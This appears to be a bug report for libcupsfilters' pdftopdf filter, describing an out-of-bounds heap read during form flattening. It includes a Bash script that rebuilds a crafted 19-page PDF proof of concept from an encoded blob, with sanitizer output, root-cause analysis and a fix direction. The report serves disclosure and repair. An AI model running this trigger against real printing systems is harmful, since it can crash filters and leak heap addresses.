OpenPrinting / OpenPrinting/libcupsfilters
pdftopdf: form flattening indexes past the resource map
Nobody has claimed this yet.
- Dominant language
- C
- Stars
- 17
- Forks
- 71
- Avg merge
- 2d 17h
- Merged PRs (30d)
- 13
Description
Summary
The form/annotation flattening path indexes the fixed 16-entry
resmap array with the document page number. A valid 19-page PDF therefore
reads past the heap object while copying page streams.
This is an out-of-bounds read, not memory corruption. Page 18 reliably prints
an adjacent heap pointer to the filter log; page 19 crosses the complete
allocation and is detected by ASan.
Reproduction
Final upstream recheck on 2026-08-02: OpenPrinting/cups-filters 11d1a190530f85a361a1b3835f57d635256dff1a, libcupsfilters 905fd94fb22a9298bc8e2c845eb7e04f7055b686, and libppd fc41539f761286396a7df8aeeda762070192e37e.
Validated revisions:
- cups-filters:
11d1a190530f85a361a1b3835f57d635256dff1a - libcupsfilters:
905fd94fb22a9298bc8e2c845eb7e04f7055b686 - libppd:
522af8dd135f4dde66b1aac8b9d067808bbe122d
poc/document.pdf is a 2,880-byte PDF with 19 independent Page objects,
valid empty content streams, and a non-empty AcroForm field array. Its
SHA-256 is
050d3719567b04c2dd6c5686b50d53c02ae49cdb3be13598cf56f81b85e48c77.
Run:
./reproduce.sh
The following commented Bash script constructs the exact PoC and control
inputs. Save it as make_poc.sh, then run bash make_poc.sh poc.
#!/usr/bin/env bash
set -euo pipefail
# PoC: pdftopdf: form flattening indexes past the resource map
# Finding ID: pdftopdf-flatten-resmap-oob-read
# Trigger: The form/annotation flattening path indexes the fixed 16-entry
# resmap array with the document page number. A valid 19-page PDF therefore
# reads past the heap object while copying page streams.
#
# Binary PDFs, Raster files, images, and PPDs are stored as gzip-compressed
# base64 so embedded NUL bytes and exact parser offsets survive copy/paste.
# Every reconstructed file is checked before the vulnerable program is run.
OUTPUT_DIR="${1:-poc}"
mkdir -p "$OUTPUT_DIR"
for tool in base64 gzip sha256sum; do
command -v "$tool" >/dev/null || {
printf 'missing required tool: %s\n' "$tool" >&2
exit 1
}
done
write_file() {
local name="$1"
local expected_sha256="$2"
local path="$OUTPUT_DIR/$name"
local actual_sha256
mkdir -p "$(dirname "$path")"
base64 --decode | gzip --decompress > "$path"
actual_sha256="$(sha256sum "$path")"
actual_sha256="${actual_sha256%% *}"
if [[ "$actual_sha256" != "$expected_sha256" ]]; then
printf 'SHA-256 mismatch for %s\n' "$path" >&2
return 1
fi
printf '%s %s bytes sha256=%s\n' \
"$path" "$(wc -c < "$path")" "$actual_sha256"
}
# Malformed or boundary document consumed by the real filter/API.
# Output: document.pdf (2880 bytes)
write_file document.pdf 050d3719567b04c2dd6c5686b50d53c02ae49cdb3be13598cf56f81b85e48c77 <<'POC_PAYLOAD_0'
H4sIAAAAAAACA71WTW/UMBC9+1f4slI5QDzjfDhSVQkKuQCiLb1VHNKuG4K2CTiutPDrmdgtu+pw
niiZKM8z701s5ymbi/fda3hTKtBGz7c/1OmpLq5///S6OO9jv5sHXVz0g180UsKVLt7ehbmbw4Ne
E7vR77aLvkG7Dn7TZ2d0Kj9tVyZkjJmo+DiuNalElylWKdYpNim6FNsUweQb5FtuBHI9ZALIDJAp
IHNAJoHMgpkFIbdanM+PU1wHDx3b/3a8xuAp92kGPvvt2L+b9/pmZWyQTqK78sv8GO7o/aia5oH4
p0hVNHG57iBTyshUMjK1jEwjI+NkZFoZmfTlSOiAkA4K6Qg5AQhZAQh5AQiZAQi5AQjZAQj5AQr5
AQr5AR77wSc/DfE7/VHQ+BKD7x/UL3W5pj49PRcdf9zdNTW4p0ufxDAOgw+vjvj3wd8ro7FU5t+h
66qylb7XB4xWL41MB6wFhmHN8yy99EusbCqGVY1jWO24RuNKhjnXMKxtzUsMTMtqAVqmC9awnqE0
NcMq4Bo1cI0GuIZDrtEi00BjmQaCZRqI1nHseI1i6MedD2lPfB3/eFpz2onzTH+Iz3tuiX2IaUeg
taXabD586dRfG50Ma0ALAAA=
POC_PAYLOAD_0
Result
UBSan first reports index 16 beyond pdfio_dict_t *[16]. Page 18 prints the
adjacent output heap pointer as resmap[17]; page 19 causes an ASan
heap-buffer-overflow read of size eight at pdftopdf.c:1939, status 134.
The plain build exits zero and creates a valid 19-page PDF, but its debug log
also contains the process-specific heap address. Practical confidentiality
impact therefore depends on whether an attacker can read filter logs.
The same raw PDF was also replayed directly through the current
fuzz_cupsfilters_pdf_to_pdf libFuzzer binary with -runs=1; it reaches the
same ASan frame at line 1939. harness.txt records that check, confirming that
this state is visible to the current OSS-Fuzz target without a bundle change.
Cause and expected behavior
xform_page_ext_t contains resmap[16] in pdftopdf-private.h:80.
Flattening allocates one such object for the whole document, loads every page
into a dynamic input array, and calls flatten_pdf(..., pg, ...) for each
page at pdftopdf.c:2480-2518. flatten_pdf() then logs
outpage->resmap[pg] at line 1939, incorrectly treating the document page
number as a resource-map index.
Resource lookup must use the resource type/index associated with the current
page, with an explicit bound below 16. Debug output should not expose raw
process addresses.
Contributor guide
First steps
- Read the whole issue, then the project's contributing guide.
- Comment on the issue to say you are picking it up — it saves two people doing the same work.
- Fork the repository and make your change on a branch.
- Open a pull request that references the issue number.
Research direction
Start by running reproduce.sh with the supplied document.pdf, then read xform_page_ext_t in pdftopdf-private.h:80 and the flattening path in pdftopdf.c:1939 and 2480-2518. Done means the 19-page input no longer produces an out-of-bounds read or exposes a raw heap address, with the existing reproduction and fuzz target checks passing.
Written by the indexing model from the issue text.
Assessment
- Tech stack
- c
- Domain
- backend, security
- Issue type
- Bug
- Difficulty
- 4/5
- Estimated time
- 3-5 days
- Activity status
- Quiet
- Clarity
- Mostly clear
- Newbie friendliness
- 55/100